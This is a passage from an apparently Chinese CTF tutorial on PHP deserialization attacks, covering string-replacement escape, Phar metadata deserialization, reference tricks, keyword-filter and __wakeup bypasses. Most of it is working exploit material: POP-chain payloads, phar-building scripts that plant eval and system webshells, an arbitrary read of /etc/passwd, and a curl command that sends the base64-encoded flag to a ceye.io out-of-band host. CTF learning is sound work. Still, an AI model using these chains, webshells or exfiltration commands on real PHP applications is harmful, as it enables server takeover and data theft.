使用的是单引号,故而不进行转义,那么就导致可能从6位长度的字符替换为3位长度的字符。不等长的替换,可能就存在字符逃逸,而这里由于是从6位到3位,因此这里是由长到短的替换。
- 最后我们构造 POP 链即可,将注入对象作为
username
或 password
属性的值即可。
解题思路:
- 序列化入口类:
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| <?php class A{ public $username = "UA"; public $password = "PW"; }
echo serialize(new A);
?>
|
- 构造 POP 链 序列化注入对象:
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| <?php class B{ public $b = 'gqy'; }
class C{ public $c; }
$obj1 = new B; $obj2 = new C; $obj1->b = $obj2; $obj2->c = 'flag.php'; echo serialize($obj1);
?>
|
- 将A对象的
username
或 password
属性赋值为反序列化B类
其中标注红的则是注入对象的值,但是由于是字符串传入,因此会把该序列化值当作普通字符串,很明显是利用不成功的。
但是有了不等长替换从 6位 替换为 3位 之后,那么我们就可以将一些没用的东西吃掉。
例如:
我们在 username 处传入 \0\0\0
当经过 read()
函数之后则会变成:
经过 read()
长到短之后,就带入到 unserialize()
函数进行反序列化,由于原本值长度为6位,但是替换之后实际长度变成了3位,那么 PHP 则会向后再取3位。最终由于语法格式不对,导致反序列化错误。
那么我们如果巧妙的刚好把它替换为一个合法的序列化字符串呢?是不是就达到了利用效果呢?
首先我们先计算要吃掉的字符串长度:
由于序列化字符串的格式都是 属性;值;属性;值
,而我们将其吃掉之后,就变成了 属性;值;值;
,不符合要求,故而我们添加一个属性名,假设为 password
:
但是上图中红色文字末尾的需要进行闭合,我们添加闭合内容:
接下来就符合要求了,那么 $_GET[b]
传入的值就为:
最后我们只需要计算需要多个对 \0\0\0
替换即可,前面计算出来我们需要吃掉 22 个字符。
而每对6位字符 \0\0\0
替换为 3个字符
,也就是 22 / 3
是除不尽的。
那么该怎么办呢?其实很简单,在 password
前面加入两个字符,让吃掉的字符变为 24 即可,让其除的进,这里特别注意,不能在 username
处加入,因为这会影响值的长度。
于是 password ,也就是 $_GET[b]
的值为:
最终 22 / 3 得8,于是 username
处只需要8对 \0\0\0
即可。
1
| ?a=UA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"
|
例题-2 短到长
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| <?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } }
class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } }
class C{ public $c; function __toString(){ echo file_get_contents($this->c); return 'nice'; } }
$a = new A($_GET['a'],$_GET['b']); $b = unserialize(write(read(serialize($a)))); ?>
|
题目分析:
请参照长到短的替换题目分析,这里只不过是将0*0
3位字符(其中0为不可见字符),变成了 \0\0\0
6位字符。
解题思路:
- 序列化入口类
与长到短一致,这里只放截图:
- 构造 POP 链 序列化注入对象
与长到短一致,这里只放截图:
- 将A对象的
username
或 password
属性赋值为反序列化B类
- 构造闭合
由于不符合序列化字符串的规范,故而我们需要构造闭合:
- 计算要挤出的长度
由于 write
函数每替换一次,都会增加3个字节,所以逃逸数据必须是3的倍数,上面挤出的长度为78,是3的倍数,可以不用动,如果不是3的倍数,则可以修改 属性名
的方法,使其成为3的倍数,例如下图尖头所指位置:
最后只需要 26对 0*0
(0为不可见字符)即可,本地测试代码:
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| <?php function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
class A{ public $username; public $password; }
$a = new A;
$a->username = urldecode('%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00";s:2:"xx";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"'); $a->password = 'x1ong'; echo write(serialize($a)); ?>
|
运行结果如下:
此时 xx
属性就被挤出来了,其值为 B
类生成的对象。
利用:
1
| ?a=%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%22;s:2:%22xx%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}s:0:%22%22;s:0:%22&b=x1ong
|
Phar
当我们在做反序列化的题目时,如果没有 unserialize()
函数,或者该函数的参数我们不可控时,我们又该何去何从呢?
Phar 是什么
Phar
归档最好的特点是可以方便将多个文件组成一个文件,因此 phar
归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,它不需要将其提取到磁盘,此外,PHP可以像执行任何其他文件一样轻松地执行 Phar
归档,无论是在命令行上还是在 Web服务器上。
在上传包含中的利用
可以上传图片,但不能上传 php,可以包含但是只能 include($userinput . ".php")
。
利用方法: 压缩一个 shell.php 到 1.zip 文件中,重命名为 1.png 上传包含: zip://upload/1.png#shell
或 phar://upload/1.png/shell
。
由于 使用 zip://
伪协议,大多数需要自行安装 PHP 扩展,有些环境可能没有安装该扩展,导致该协议无法使用,那么 phar://
协议则是一个很好的替代, PHP 自带该扩展。
Phar 文件格式
可以从 Phar
文件格式中看到,其中用户自定义的 Meta-data
会以序列化的形式存储,那么使用 Phar
文件的时候一定会进行反序列化,至此在没有 unserialize()
函数的时候,同样达到了 unserialize()
函数的效果。
Phar 反序列化条件
- 需要有可用的类,类下有魔术方法,最后 POP Chain 调用到危险方法
- 由于
phar://
协议是文件流协议,故而需要使用文件操作相关的函数去使用(触发)该协议。
- 有上传或者写文件的操作,可以把无损的
phar
文件上传或写入到 web服务器的相关目录,后缀名任意。
本地构造 Phar 的条件
需要修改 php.ini
配置文件,将 phar.readonly = On
设置为 phar.readonly = Off
即关闭。
构造 Phar 反序列化
- 把
class
类中的代码复制下来,把方法进行注释。
- 构造
POP
链
- 使用如下代码构造
Phar
文件。
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| <?php $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
触发 Phar 的函数
知道创宇测试后可以使用 phar://
协议的列表:
但实际不止这些,更多可参考: https://blog.zsxsoft.com/post/38
例题-1
选自 [NewStarCTF 2023 公开赛道]PharOne BUUCTF 可开环境
打开环境映入眼帘的是文件上传页面。右键查看页面源代码发现 class.php
:
访问该文件,获得如下源码:
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| <?php highlight_file(__FILE__); class Flag{ public $cmd; public function __destruct() { @exec($this->cmd); } } @unlink($_POST['file']);
|
是一个很简单的反序列化题目,但是我们没有 unserialize()
函数我们如何进行反序列化呢?答案就是上传一个 phar
文件。使用 unlink
函数触发 phar://
协议即可。
构造序列化:
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| <?php class Flag{ public $cmd; } $o = new Flag; $o->cmd = 'echo PD9waHAgZWNobyAxMjM7ZXZhbCgkX0dFVFswXSk7Pz4= | base64 -d > upload/x1ong.php';
$phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
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将生成的 phar.phar
修改为后缀 phar.png
上传,但是题目告诉我们不能有 __HALT_COMPILER
需要进行绕过。
而绕过方法就是对其该文件进行 gzip 压缩上传即可。
可以看到压缩过后的文件内容并没有匹配信息。而是压缩包文件,而phar协议无需解压就认识gzip格式的文件。
但是很遗憾,由于种种原因,最终都没有写入成功木马(),经过反复测试发现容器可以上网但是不存在 ping
命令,存在 curl
命令,于是我们就可以使用数据外带。
重新构造序列化:
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| <?php class Flag{ public $cmd; } $o = new Flag; $o->cmd = 'curl http://******.ceye.io/`cat /flag |base64`';
$phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
其中的域名替换成自己 ceye 平台的域名即可,重复上述操作,将 phar.phar
文件进行 gzip 压缩之后,将后缀名修改为 .png
然后上传到服务器。
接着访问 class.php
文件利用传入 file
参数利用即可:
来到 ceye
平台查看 HTTP 记录,将其中的 base64 解码即可得到 FLAG。
之后看了网上的其他 WP 发现可以写马,只不过需要指定绝对路径,例如 echo '<?php system($_GET[0]);?> > /var/www/html/1.php'
。
例题-2
选自 [DASCTF 2020 圣诞赛] WEB-easyphp
题目源码:
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| <?php error_reporting(E_ALL); $sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']); if(!is_dir($sandbox)) { mkdir($sandbox); }
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) { extract($_GET['var'], EXTR_OVERWRITE); } else { highlight_file(__file__); die(); }
if(isset($_GET['tp'])) { $tp = $_GET['tp']; if (array_key_exists($tp, $template) === FALSE) { echo "No! You only have 3 template to reader"; die(); } $content = file_get_contents($template[$tp]); $temp = new Template($content); } else { echo "Please choice one template to reader"; } ?>
|
通过源码分析发现题目考点是 变量覆盖
,可以通过该漏洞实现任意文件读取。其 PAYLOAD 为:
1
| ?var[template][tp1]=/etc/passwd&tp=tp1
|
具体参加文章: https://www.qwesec.com/2024/02/variables-overriding.html#%E4%BE%8B%E9%A2%98-3
虽可以进行任意文件读取,但是由于 flag
文件不是常规的文件名称,故而不知道文件名无法进行读取。那么我们只能读取模版类 template.php
。
1
| ?var[template][tp1]=template.php&tp=tp1
|
获取源码如下:
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| <?php class Template{ public $content; public $pattern; public $suffix;
public function __construct($content){ $this->content = $content; $this->pattern = "/{{([a-z]+)}}/"; $this->suffix = ".html"; }
public function __destruct() { $this->render(); } public function render() { while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]}; if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else{ break; } } if(strlen($this->suffix)>5) { echo "error suffix"; die(); } $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix; file_put_contents($filename, $this->content); echo "Your html file is in " . $filename; } } ?>
|
通过审计代码发现存在 Template
类、魔术方法 __destruct()
调用了危险方法 render()
,在该方法内将类的属性 content
、suffix
带入到了 file_put_contents
函数中。
那么我们如果使用反序列化,将 content
和 suffix
赋值为一句话木马和php后缀的文件。是不是就可以利用了呢?
但是很遗憾,由于并没有 unserialize()
函数,也就是说无法进行反序列化,那么真是如此吗?答案不是,我们注意到,在 index.php
文件中存在 file_get_contents()
函数,参数我们完全可控。并没有进行任何的过滤。
那么我们是不是可以将生成的 phar
文件 通过模版渲染写入到web服务器的 uploads
目录下。
然后通过 file_get_contents()
函数触发 phar://
,从而进行反序列化调用魔术方法 __destruct
进行任意文件写入。
构造序列化:
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| <?php class Template{ public $content; public $pattern; public $suffix; } $o = new Template; $o->content = '<?php echo 123;@eval($_POST[0]);?>'; $o->suffix = ".php"; ?>
|
生成phar文件:
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| <?php class Template{ public $content; public $pattern; public $suffix; } $o = new Template; $o->content = '<?php echo 123;@eval($_POST[0]);?>'; $o->suffix = ".php";
$phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
那么问题来了,我们如何将生成的 phar.phar
文件上传到服务器呢?两种方法。
- 将
phar.phar
文件放入到公网服务器,使用 file_get_contents()
发起 HTTP 请求获取。但是要求是靶机出网。
- 对
phar.phar
文件的内容进行 base64 编码,让 file_get_contents()
函数从 data 伪协议中获取。但是要求 PHP相关配置开启。
我们就使用第二种方法,首先读取生成的 phar.phar
文件,并进行 base64
编码:
通过变量覆盖漏洞将该文件写入即可:
1
| ?var[template][tp1]=data:
|
需要注意的是: 由于Base64编码中可能存在+
,我们通过 GET 请求传入时,需要进行 URL 编码。
访问生成的模版文件,即可看到 phar 文件的内容:
现在服务器上有了 Phar
文件,那么我们该如何使用 phar://
触发反序列化呢?
答案是使用 index.php
文件中的 file_get_contents
:
1
| ?var[template][tp1]=phar://uploads/cb8a7229e230ef0d397727e74a2ee8ae/e9fa73ba88cd4fe4c7777de19b5daa83.html&tp=tp1
|
由于我们使用 phar://
协议,phar 协议在解析 phar 文件的时候,由于元数组是 Template
类的序列化字符串,故而进行反序列化,反序列化之后由于 Template
类存在析构方法故而进行调用,同时也调用了 render
方法进行文件的写入。
最后访问生成的 php 文件即可,利用即可:
指针引用
例题-1
选择 BUUCTF 平台: BUU CODE REVIEW 1
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| <?php highlight_file(__FILE__); class BUU { public $correct = ""; public $input = "";
public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } }
if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }
|
分析:
根据题目我们可以得知,这里涉及到了 MD5 弱类型比较问题,经过 MD5 弱类型比较之后,会进行反序列化。
下面我们来看类中的关键代码:
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| class BUU { public $correct = ""; public $input = "";
public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } }
|
可以看到,我们需要反序列化 BUU
类,同时 $this->correct = base64_encode(uniqid());
,而需要我们通过反序列化修改 input
属性的值达到与 corrent
属性(随机生成的值)一致。才会输出 FLAG。
而 uniqid()
函数则用于生成一个唯一ID。效果大概如下:
可以发现该函数的前缀是一样的,是因为它获取一个带前缀、基于当前时间微秒数的唯一ID。由于我们执行时间差不多,故而一样,但是后面是随机的十六进制,故而暴破可能性基本没有。
那么我们该如何给赋值 input
让其等于 随机生成的 uniqid()
,其实在 PHP 中是支持引用赋值的。例如:
那么我们只需要将 input
属性的值引用自 correct
属性即可。
构造序列化:
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| <?php class BUU { public $correct = ""; public $input = "";
public function __construct() { $this->input = & $this->correct; }
}
echo serialize(new BUU);
?>
|
利用:
关于 MD5 弱类型如果不理解请参考: https://www.qwesec.com/2024/02/ctfweb-md5.html
例题-2
选自: [蓝帽杯2020第四届 线上赛]Soitgoes
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| <?php highlight_file(__FILE__); class Seri{ public $alize; public function __construct($alize) { $this->alize = $alize; } public function __destruct(){ $this->alize->getFlag(); } }
class Flag{ public $f; public $t1; public $t2;
function __construct($file){ $this->f = $file; $this->t1 = $this->t2 = md5(rand(1,10000)); }
public function getFlag(){ $this->t2 = md5(rand(1,10000)); echo $this->t1; echo $this->t2; if($this->t1 === $this->t2) { if(isset($this->f)){ echo @highlight_file($this->f,true); } } } } if (isset($_GET['ser'])) { unserialize($_GET['ser']); }
|
分析:
- 我们要执行的目标为
Flag
类下的 getFlag()
方法。
- 寻找可以调用
Flag
类下的 getFlag()
方法的类: 发现为 Seri
类的
alize
属性赋值为 Flag
类生成的对象,即可触发 getFlag() 方法。
我们来看下 getFlag()
方法的代码:
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| public function getFlag(){ $this->t2 = md5(rand(1,10000)); echo $this->t1; echo $this->t2; if($this->t1 === $this->t2) { if(isset($this->f)){ echo @highlight_file($this->f,true); } } }
|
可以看到,需要 t1
和 t2
的值完全相等并且为 f
属性赋值为想要读取的文件名称 flag.php
即可得到 FLAG。
但是由于 t2
的属性值为 随机数 1-10000
之间随机生成的值并进行 MD5 加密之后的结果。由于是万分之一可能性,所以我们假设 t2
属性为一个值并进行暴破。
不过我们有更好的解决方法,那就是使用值引用。
构造序列化:
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| <?php class Seri{ public $alize; }
class Flag{ public $f; public $t1; public $t2;
function __construct(){ $this->t1 = & $this->t2; } }
$s = new Seri; $flag = new Flag; $s->alize = $flag; $flag->f = 'flag.php'; echo serialize($s);
|
利用:
如果使用暴破进行做题也可以,假设随机到的值为5000,那么我们就构造如下,这里就不贴序列化用的代码了,直接看序列化值:
1
| O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:32:"a35fe7f7fe8217b4369a0af4244d1fca";s:2:"t2";N;}}
|
接着使用 burp 抓包发到 Intruder
模块即可,大概在 1929 次数据包之后得到了 FLAG。
反序列化特性及绕过方法
关键字过滤
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| <?php class BUU { public $file = "index.php"; public function __destruct() { if (isset($this->file) && !stripos('flag', $this->file)) { highlight_file($this->file); } } }
if (isset($_GET['ser'])) { unserialize($_GET['ser']); } else { $o = new BUU; } ?>
|
通过代码来看这是一道很简单的反序列化题目,但是由于过滤了flag.php
导致我们无法直接使用 flag.php
关键字。
我们先按照常规构造 EXP:
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| <?php class BUU { public $file = "index.php"; }
$o = new BUU; $o->file = 'flag.php'; echo serialize($o);
?>
|
在反序列化值类型中,如果值类型为大写的 S
,则先进行解码,那么我们只需要将 flag.php
按照一定规则编码即可: 先将每个字符转为十进制的ASCII码,再将其转为十六进制即可。
编写 Python 代码:
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| s = 'flag.php' result = '' for i in s: result += hex(ord(i))
print(result.replace('0x','\\'))
|
最终构造:
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| O:3:"BUU":1:{s:4:"file";S:8:"\66\6c\61\67\2e\70\68\70";}
|
绕过__wakeup
CVE-2016-7124: 当成员属性数目大于实际数目时可绕过wakeup
方法的执行
影响版本:
PHP5: < 5.6.25
PHP7: < 7.0.10
常规反序列化:
利用 CVE-2016-7124 的反序列化:
例题: [极客大挑战 2019] PHP 1 BUUCTF 平台可开环境
Writeup: https://www.qwesec.com/2023/11/buuctfWeb.html#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86-CVE-2016-7124
这种方法也叫做畸形序列化字符串,畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。
快速析构
快速析构的原理: 当 php
接收到畸形序列化字符串时,PHP 由于其容错机制,依然可以反序列化成功。 但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以 PHP 对这个畸形序列化字符串 得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法 __destruct()
。
应用场景: 某些题目需要利用 __destruct
才能获取flag,但 __destruct
是在对象被销毁时才触发 (执行顺序太靠后), __destruct
之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发 __destruct
方法。
畸形字符串的构造:
示例:
常规序列化:
畸形序列化字符串:
PHP7.1 对属性权限不敏感
特性: php>7.1 版本对类属性的检测不严格 (对属性类型不敏感)
先看 PHP 7.1 以下的版本,对类属性的权限是敏感的:
而我们来看 PHP 7.1 以上的版本,对类属性的权限是不敏感的:
例题: 网鼎杯 2020 青龙组 AreUSerialz BUUCTF 平台可开环境
Writeup: https://www.qwesec.com/2023/11/areUSerialz.html